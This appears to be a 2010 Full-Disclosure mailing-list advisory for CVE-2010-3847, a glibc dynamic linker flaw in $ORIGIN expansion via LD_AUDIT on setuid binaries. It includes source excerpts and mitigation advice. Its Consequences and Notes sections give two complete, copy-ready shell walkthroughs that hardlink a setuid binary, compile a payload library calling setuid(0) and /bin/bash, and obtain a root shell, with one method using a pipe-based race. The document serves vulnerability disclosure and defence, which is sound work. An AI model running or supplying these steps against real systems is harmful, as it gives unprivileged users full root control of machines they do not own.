The GNU C library dynamic linker expands $ORIGIN in setuid library search path ------------------------------------------------------------------------------ Gruezi, This is CVE-2010-3847. The dynamic linker (or dynamic loader) is responsible for the runtime linking of dynamically linked programs. ld.so operates in two security modes, a permissive mode that allows a high degree of control over the load operation, and a secure mode (libc_enable_secure) intended to prevent users from interfering with the loading of privileged executables. $ORIGIN is an ELF substitution sequence representing the location of the executable being loaded in the filesystem hierarchy. The intention is to allow executables to specify a search path for libraries that is relative to their location, to simplify packaging without spamming the standard search paths with single-use libraries. Note that despite the confusing naming convention, $ORIGIN is specified in a DT_RPATH or DT_RUNPATH dynamic tag inside the executable itself, not via the environment (developers would normally use the -rpath ld parameter, or -Wl,-rpath,$ORIGIN via the compiler driver). The ELF specification suggests that $ORIGIN be ignored for SUID and SGID binaries, http://web.archive.org/web/20041026003725/http://www.caldera.com/developers/gabi/2003-12-17/ch5.dynamic.html#substitution "For security, the dynamic linker does not allow use of $ORIGIN substitution sequences for set-user and set-group ID programs. For such sequences that appear within strings specified by DT_RUNPATH dynamic array entries, the specific search path containing the $ORIGIN sequence is ignored (though other search paths in the same string are processed). $ORIGIN sequences within a DT_NEEDED entry or path passed as a parameter to dlopen() are treated as errors. The same restrictions may be applied to processes that have more than minimal privileges on systems with installed extended security mechanisms." However, glibc ignores this recommendation. The attack the ELF designers were likely concerned about is users creating hardlinks to suid executables in directories they control and then executing them, thus controlling the expansion of $ORIGIN. It is tough to form a thorough complaint about this glibc behaviour however, as any developer who believes they're smart enough to safely create suid programs should be smart enough to understand the implications of $ORIGIN and hard links on load behaviour. The glibc maintainers are some of the smartest guys in free software, and well known for having a "no hand-holding" stance on various issues, so I suspect they wanted a better argument than this for modifying the behaviour (I pointed it out a few years ago, but there was little interest). However, I have now discovered a way to exploit this. The origin expansion mechanism is recycled for use in LD_AUDIT support, although an attempt is made to prevent it from working, it is insufficient. LD_AUDIT is intended for use with the linker auditing api (see the rtld-audit manual), and has the usual restrictions for setuid programs as LD_PRELOAD does. However, $ORIGIN expansion is only prevented if it is not used in isolation. The codepath that triggers this expansion is _dl_init_paths() -> _dl_dst_substitute() -> _is_dst() (in the code below DST is dynamic string token) http://sourceware.org/git/?p=glibc.git;a=blob;f=elf/dl-load.c;h=a7162eb77de7a538235a4326d0eb9ccb5b244c01;hb=HEAD#l741 741 /* Expand DSTs. */ 742 size_t cnt = DL_DST_COUNT (llp, 1); 743 if (__builtin_expect (cnt == 0, 1)) 744 llp_tmp = strdupa (llp); 745 else 746 { 747 /* Determine the length of the substituted string. */ 748 size_t total = DL_DST_REQUIRED (l, llp, strlen (llp), cnt); 749 750 /* Allocate the necessary memory. */ 751 llp_tmp = (char *) alloca (total + 1); 752 llp_tmp = _dl_dst_substitute (l, llp, llp_tmp, 1); 753 } http://sourceware.org/git/?p=glibc.git;a=blob;f=elf/dl-load.c;h=a7162eb77de7a538235a4326d0eb9ccb5b244c01;hb=HEAD#l245 253 if (__builtin_expect (*name == '$', 0)) 254 { 255 const char *repl = NULL; 256 size_t len; 257 258 ++name; 259 if ((len = is_dst (start, name, "ORIGIN", is_path, 260 INTUSE(__libc_enable_secure))) != 0) 261 { ... 267 repl = l->l_origin; 268 } http://sourceware.org/git/?p=glibc.git;a=blob;f=elf/dl-load.c;h=a7162eb77de7a538235a4326d0eb9ccb5b244c01;hb=HEAD#l171 202 if (__builtin_expect (secure, 0) 203 && ((name[len] != '\0' && (!is_path || name[len] != ':')) 204 || (name != start + 1 && (!is_path || name[-2] != ':')))) 205 return 0; 206 207 return len; 208 } As you can see, $ORIGIN is only expanded if it is alone and first in the path. This makes little sense, and does not appear to be useful even if there were no security impact. This was most likely the result of an attempt to re-use the existing DT_NEEDED resolution infrastructure for LD_AUDIT support, accidentally introducing this error. Perhaps surprisingly, this error is exploitable. -------------------- Affected Software ------------------------ At least the following versions have been tested 2.12.1, FC13 2.5, RHEL5 / CentOS5 Other versions are probably affected, possibly via different vectors. I'm aware several versions of ld.so in common use hit an assertion in dl_open_worker, I do not know if it's possible to avoid this. -------------------- Consequences ----------------------- It is possible to exploit this flaw to execute arbitrary code as root. Please note, this is a low impact vulnerability that is only of interest to security professionals and system administrators. End users do not need to be concerned. Exploitation would look like the following. # Create a directory in /tmp we can control. $ mkdir /tmp/exploit # Link to an suid binary, thus changing the definition of $ORIGIN. $ ln /bin/ping /tmp/exploit/target # Open a file descriptor to the target binary (note: some users are surprised # to learn exec can be used to manipulate the redirections of the current # shell if a command is not specified. This is what is happening below). $ exec 3< /tmp/exploit/target # This descriptor should now be accessible via /proc. $ ls -l /proc/$$/fd/3 lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target* # Remove the directory previously created $ rm -rf /tmp/exploit/ # The /proc link should still exist, but now will be marked deleted. $ ls -l /proc/$$/fd/3 lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target (deleted) # Replace the directory with a payload DSO, thus making $ORIGIN a valid target to dlopen(). $ cat > payload.c void __attribute__((constructor)) init() { setuid(0); system("/bin/bash"); } ^D $ gcc -w -fPIC -shared -o /tmp/exploit payload.c $ ls -l /tmp/exploit -rwxrwx--- 1 taviso taviso 4.2K Oct 15 09:22 /tmp/exploit* # Now force the link in /proc to load $ORIGIN via LD_AUDIT. $ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3 sh-4.1# whoami root sh-4.1# id uid=0(root) gid=500(taviso) ------------------- Mitigation ----------------------- It is a good idea to prevent users from creating files on filesystems mounted without nosuid. The following interesting solution for administrators who cannot modify their partitioning scheme was suggested to me by Rob Holland (@robholland): You can use bind mounts to make directories like /tmp, /var/tmp, etc., nosuid, for example: # mount -o bind /tmp /tmp # mount -o remount,bind,nosuid /tmp /tmp Be aware of race conditions at boot via crond/atd/etc, and users with references to existing directories (man lsof), but this may be an acceptable workaround until a patch is ready for deployment. (Of course you need to do this everywhere untrusted users can make links to suid/sgid binaries. find(1) is your friend). If someone wants to create an init script that would automate this at boot for their distribution, I'm sure it would be appreciated by other administrators. ------------------- Solution ----------------------- Major distributions should be releasing updated glibc packages shortly. ------------------- Credit ----------------------- This bug was discovered by Tavis Ormandy. ------------------- Greetz ----------------------- Greetz to Hawkes, Julien, LiquidK, Lcamtuf, Neel, Spoonm, Felix, Robert, Asirap, Spender, Pipacs, Gynvael, Scarybeasts, Redpig, Kees, Eugene, Bruce D., and all my other elite friends and colleagues. Additional greetz to the openwall guys who saw this problem coming years ago. They continue to avoid hundreds of security vulnerabilities each year thanks to their insight into systems security. http://www.openwall.com/owl/ ------------------- Notes ----------------------- There are several known techniques to exploit dynamic loader bugs for suid binaries, the fexecve() technique listed in the Consequences section above is a modern technique, making use of relatively recent Linux kernel features (it was first suggested to me by Adam Langley while discussing CVE-2009-1894, but I believe Gabriel Campana came up with the same solution independently). The classic UNIX technique is a little less elegant, but has the advantage that read access is not required for the target binary. It is rather common for administrators to remove read access from suid binaries in order to make attackers work a little harder, so I will document it here for reference. The basic idea is to create a pipe(), fill it up with junk (pipes have 2^16 bytes capacity on Linux, see the section on "Pipe Capacity" in pipe(7) from the Linux Programmers Manual), then dup2() it to stderr. Following the dup2(), anything written to stderr will block, so you simply execve() and then make the loader print some error message, allowing you to reliably win any race condition. LD_DEBUG has always been a a good candidate for getting error messages on Linux. The behaviour of LD_DEBUG was modified a few years ago in response to some minor complaints about information leaks, but it can still be used with a slight modification (I first learned of this technique from a bugtraq posting by Jim Paris in 2004, http://seclists.org/bugtraq/2004/Aug/281). The exploit flow for this alternative attack is a little more complicated, but we can still use the shell to do it (this session is from an FC13 system, output cleaned up for clarity). # Almost fill up a pipe with junk, then dup2() it to stderr using redirection. $ (head -c 65534 /dev/zero; LD_DEBUG=nonsense LD_AUDIT="\$ORIGIN" /tmp/exploit/target 2>&1) | (sleep 1h; cat) & [1] 26926 # Now ld.so is blocked on write() in the background trying to say "invalid # debug option", so we are free to manipulate the filesystem. $ rm -rf /tmp/exploit/ # Put exploit payload in place. $ gcc -w -fPIC -shared -o /tmp/exploit payload.c # Clear the pipe by killing sleep, letting cat drain the contents. This will # unblock the target, allowing it to continue. $ pkill -n -t $(tty | sed 's#/dev/##') sleep -bash: line 99: 26929 Terminated sleep 1h # And now we can take control of a root shell :-) $ fg sh-4.1# id uid=0(root) gid=500(taviso) Another technique I'm aware of is setting a ridiculous LD_HWCAP_MASK, then while the loader is trying to map lots of memory, you have a good chance of winning any race. I previously found an integer overflow in this feature and suggested adding LD_HWCAP_MASK to the unsecure vars list, however the glibc maintainers disagreed and just fixed the overflow. http://www.cygwin.com/ml/libc-hacker/2007-07/msg00001.html I believe this is still a good idea, and LD_HWCAP_MASK is where I would bet the next big loader bug is going to be, it's just not safe to let attackers have that much control over the execution environment of privileged programs. Finally, some notes on ELF security for newcomers. The following common conditions are usually exploitable: - An empty DT_RPATH, i.e. -Wl,-rpath,"" This is a surprisingly common build error, due to variable expansion failing during the build process. - A relative, rather than absolute DT_RPATH. For example, -Wl,-rpath,"lib/foo". I'll leave it as an exercise for the interested reader to explain why. Remember to also follow DT_NEEDED dependencies, as dependencies can also declare rpaths for their dependencies, and so on. ------------------- References ----------------------- - http://man.cx/ld.so%288%29, The dynamic linker/loader, Linux Programmer's Manual. - http://man.cx/rtld-audit, The auditing API for the dynamic linker, Linux Programmer's Manual. - http://man.cx/pipe%287%29, Overview of pipes and FIFOs (Pipe Capacity), Linux Programmer's Manual. - Linkers and Loaders, John R. Levine, ISBN 1-55860-496-0. - Partitioning schemes and security, http://my.opera.com/taviso/blog/show.dml/654574 - CVE-2009-1894 description, http://blog.cr0.org/2009/07/old-school-local-root-vulnerability-in.html You should subscribe to Linux Weekly News and help support their high standard of security journalism. http://lwn.net/ I have a twitter account where I occasionally comment on security topics. http://twitter.com/taviso ex$$ -- ------------------------------------- taviso@cmpxchg8b.com | pgp encrypted mail preferred ------------------------------------------------------- _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/